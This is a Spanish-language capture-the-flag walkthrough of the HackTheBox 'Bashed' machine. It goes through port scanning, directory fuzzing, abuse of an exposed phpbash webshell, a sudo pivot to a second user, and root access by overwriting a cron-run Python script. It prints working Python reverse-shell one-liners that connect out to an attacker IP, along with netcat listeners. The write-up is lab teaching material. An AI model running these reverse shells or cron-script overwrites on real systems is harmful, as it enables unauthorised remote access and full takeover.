Skip to main content

Bashed – HackTheBox

Dificultad: Easy
Sistema operativo: Linux

Bashed_Intro

⚠️ Contenido educativo.

💡 Pistas

  1. Mira bien de que va la pagina
  2. Listar permisos
  3. Mira las carpetas que hay en el directorio raiz

🔍 Enumeración inicial

1. Escaneo completo (todos los puertos TCP)

Objetivo: saber si existe algo más aparte de HTTP antes de profundizar.
-p- fuerza el rango 1‑65535 y -T4 acelera (equilibrio entre velocidad y fiabilidad).

sudo nmap -p- -T4 <IP>

Resultado: únicamente 80/tcp abierto (no hay SSH u otros servicios expuestos en TCP).

Bashed_FullScan

2. Escaneo focalizado (scripts y versiones)

Con solo el 80 abierto, refinamos para obtener banner, versión y resultados básicos de scripts NSE (detección de tipo de servidor, métodos HTTP, etc.).
-sC carga los “default scripts” y -sV intenta enumerar versión.

sudo nmap -p 80 -sC -sV <IP>

Resultado: servicio HTTP (Apache) en el puerto 80 con la información mostrada.

Bashed_ServiceScan

3. Revisión inicial de la web

El segundo escaneo no revela nada nuevo, pasamos a inspección manual. Página de un desarrollador con entradas de proyectos.

Bashed_Web

Una entrada enlaza a una webshell (phpbash), posible vector directo.

Bashed_Webshell

4. Fuzzing de directorios

Enumeración de rutas para localizar contenido adicional.

gobuster dir -u http://<IP> -w /ruta/wordlist.txt -t 50

Destacan /php /uploads /dev (además de estáticos).

Bashed_Fuzzing

5. Acceso a /dev y localización de la webshell

Listado de directorio expone phpbash.php y versión minificada.

Bashed_DevListing

6. Verificación rápida de la webshell

Ejecutamos un único comando (whoami) para confirmar ejecución: www-data. Listo.

Bashed_Webshell_Whoami

7. Preparar listener (reverse shell)

Abrimos el puerto en nuestra máquina a la espera de conexión inversa.

nc -lvnp 7777

Bashed_Listener

8. Obtener reverse shell

Desde la webshell lanzamos la conexión inversa (ajustar IP/puerto).

python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.8",7777)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"]);'

Se establece la conexión y obtenemos /bin/sh interactivo como www-data:

Bashed_ReverseShell

9. Mejorar la shell (TTY)

Conseguimos una shell mas manejable.

python3 -c 'import pty; pty.spawn("/bin/bash")'

Opcional desde nuestra consola (fuera) ajustar:

export TERM=xterm
stty rows 40 columns 140

Bashed_UpgradeShell

10. Obtener la flag de usuario

Navegamos a /home, identificamos el usuario arrexel y leemos user.txt.

cd /home/arrexel
ls
cat user.txt

Flag obtenida.

Bashed_UserFlag

(Continuará con las siguientes fases)

11. Enumeración de privilegios (sudo)

Comprobamos qué puede hacer www-data con sudo:

sudo -l

La salida (ver captura) indica: (scriptmanager : scriptmanager) NOPASSWD: ALL

Significado:

  • Puede ejecutar CUALQUIER comando como el usuario scriptmanager (y su grupo) sin pedir contraseña.
  • No permite ir directamente a root, pero sí pivotar a scriptmanager, ampliando el alcance (su $HOME, ficheros y posibles scripts/cron que gestione). A partir de ahí buscaremos un segundo vector.

Bashed_SudoList

12. Cambio a usuario scriptmanager

Obtenemos una shell de scriptmanager:

sudo -u scriptmanager -i

Desglose:

  • -u scriptmanager: cambia el usuario destino al que se impersona.
  • -i: inicia una shell de login (carga variables de entorno, profile, HOME de scriptmanager y su shell por defecto en /etc/passwd).

Resultado: prompt dentro de /home/scriptmanager (o ~), whoami devuelve scriptmanager y ahora todos los comandos se ejecutan con sus permisos.

Bashed_ScriptmanagerShell

13. Directorio /scripts y ejecución periódica

En la raíz existe /scripts propiedad de scriptmanager (único directorio fuera de /home que controla este usuario). Esto resalta como vector.

Bashed_ScriptsDir

Dentro hay:

  • test.py (editable por scriptmanager)
  • test.txt (propiedad de root)

Bashed_ScriptsContents

Viendo el codigo vemos que el script de python genera el archivo test.txt, y al ver que el propietario del archivo de texto es root intuimos que se ejecuta como root cada minuto.

14. Explotar la ejecución periódica: reverse shell como root

Sobrescribimos test.py con una reverse shell Python que, al ser ejecutada por root (cron), conectará con nuestro listener.

Comando usado (crea/reemplaza test.py en una sola línea):

echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.8',7778));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('/bin/bash')" > /scripts/test.py

Contenido lógico del script (formateado):

import socket, subprocess, os, pty

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.8", 7778))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/bash")

Bashed_ModTestPy

Preparamos el listener en nuestra máquina:

nc -lvnp 7778

Al producirse la siguiente ejecución automática (≈1 min) recibimos la shell como root:

Bashed_RootShell

15. Leer la flag de root

Con la shell como root leemos la flag final:

cd /root
ls
cat root.txt

Bashed_RootFlag

16. Máquina completada

Objetivo alcanzado: user + root. Máquina marcada como Pwned en la plataforma.

Bashed_Pwned

Buen repaso a: enumeración básica, abuso de webshell, pivot con sudo a usuario intermedio y escalada vía script cron editable.